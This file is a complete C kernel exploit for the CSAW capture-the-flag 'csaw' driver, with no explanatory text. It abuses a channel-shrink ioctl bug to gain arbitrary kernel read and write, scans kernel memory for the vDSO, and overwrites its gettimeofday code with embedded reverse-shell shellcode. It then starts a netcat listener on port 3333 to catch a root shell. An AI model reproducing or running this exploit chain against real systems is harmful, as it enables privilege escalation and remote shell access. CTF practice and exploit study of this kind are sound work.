1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/prctl.h> #include <sys/time.h> #include <sys/auxv.h> #define CSAW_IOCTL_BASE 0x77617363 #define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1 #define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2 #define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3 #define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4 #define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5 #define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6 #define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7 #define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8
#define GETTIMEOFDAY_FUN 0xCB0 struct alloc_channel_args { size_t buf_size; int id; }; struct shrink_channel_args { int id; size_t size; }; struct read_channel_args { int id; char *buf; size_t count; }; struct write_channel_args { int id; char *buf; size_t count; }; struct seek_channel_args { int id; loff_t index; int whence; }; void errExit(char *msg) { puts(msg); exit(-1); }
int fd;
void initFD() { fd = open("/dev/csaw",O_RDWR); if (fd < 0) { errExit("[-] open file error!!"); } }
int alloc_channel(size_t size) { struct alloc_channel_args args; args.buf_size = size; args.id = -1; ioctl(fd,CSAW_ALLOC_CHANNEL,&args); if (args.id == -1) { errExit("[-]alloc_channel error!!"); } return args.id; }
void shrink_channel(int id,size_t size) { struct shrink_channel_args args; args.id = id; args.size = size; ioctl(fd,CSAW_SHRINK_CHANNEL,&args); }
void seek_channel(int id,loff_t offset,int whence) { struct seek_channel_args args; args.id = id; args.index = offset; args.whence = whence; ioctl(fd,CSAW_SEEK_CHANNEL,&args); }
void read_channel(int id,char *buf,size_t count) { struct read_channel_args args; args.id = id; args.buf = buf; args.count = count; ioctl(fd,CSAW_READ_CHANNEL,&args); }
void write_channel(int id,char *buf,size_t count) { struct write_channel_args args; args.id = id; args.buf = buf; args.count = count; ioctl(fd,CSAW_WRITE_CHANNEL,&args); }
void arbitrary_read(int id,char *buf,size_t addr,size_t count) { seek_channel(id,addr-0x10,SEEK_SET); read_channel(id,buf,count); }
void arbitrary_write(int id,char *buf,size_t addr,size_t count) { for (int i=0;i<count;i++) { seek_channel(id,addr+i-0x10,SEEK_SET); write_channel(id,buf+i,1); } }
int get_gettimeofday_str_offset() { size_t vdso_addr = getauxval(AT_SYSINFO_EHDR); char* name = "gettimeofday"; if (!vdso_addr) { errExit("[-]error get name's offset"); } size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name)); if (name_addr < 0) { errExit("[-]error get name's offset"); } return name_addr - vdso_addr; }
char shellcode[]="\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb\x48\x39\xc3\x75\x0f\x48\x31\xc0\xb0\x39\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x09\x5b\x48\x31\xc0\xb0\x60\x0f\x05\xc3\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x97\x50\x48\xb9\xfd\xff\xf2\xfa\x80\xff\xff\xfe\x48\xf7\xd1\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x07\x48\x31\xc0\xb0\xe7\x0f\x05\x90\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xd3\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0\xb0\xe7\x0f\x05"; int main() { char *buf = (char *)calloc(1,0x1000); initFD(); int id = alloc_channel(0x100); shrink_channel(id,0x101); int gettimeofday_str_offset = get_gettimeofday_str_offset(); printf("gettimeofday str in vdso.so offset=0x%x\n",gettimeofday_str_offset); size_t vdso_addr = -1; for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) { arbitrary_read(id,buf,addr,0x1000); if (!strcmp(buf+gettimeofday_str_offset,"gettimeofday")) { printf("[+]find vdso.so!!\n"); vdso_addr = addr; printf("[+]vdso in kernel addr=0x%lx\n",vdso_addr); break; } } if (vdso_addr == -1) { errExit("[-]can't find vdso.so!!"); } size_t gettimeofday_addr = vdso_addr + GETTIMEOFDAY_FUN; printf("[+]gettimeofday function in kernel addr=0x%lx\n",gettimeofday_addr); arbitrary_write(id,shellcode,gettimeofday_addr,strlen(shellcode)); sleep(1); printf("[+]open a shell\n"); system("nc -lvnp 3333"); return 0; }
|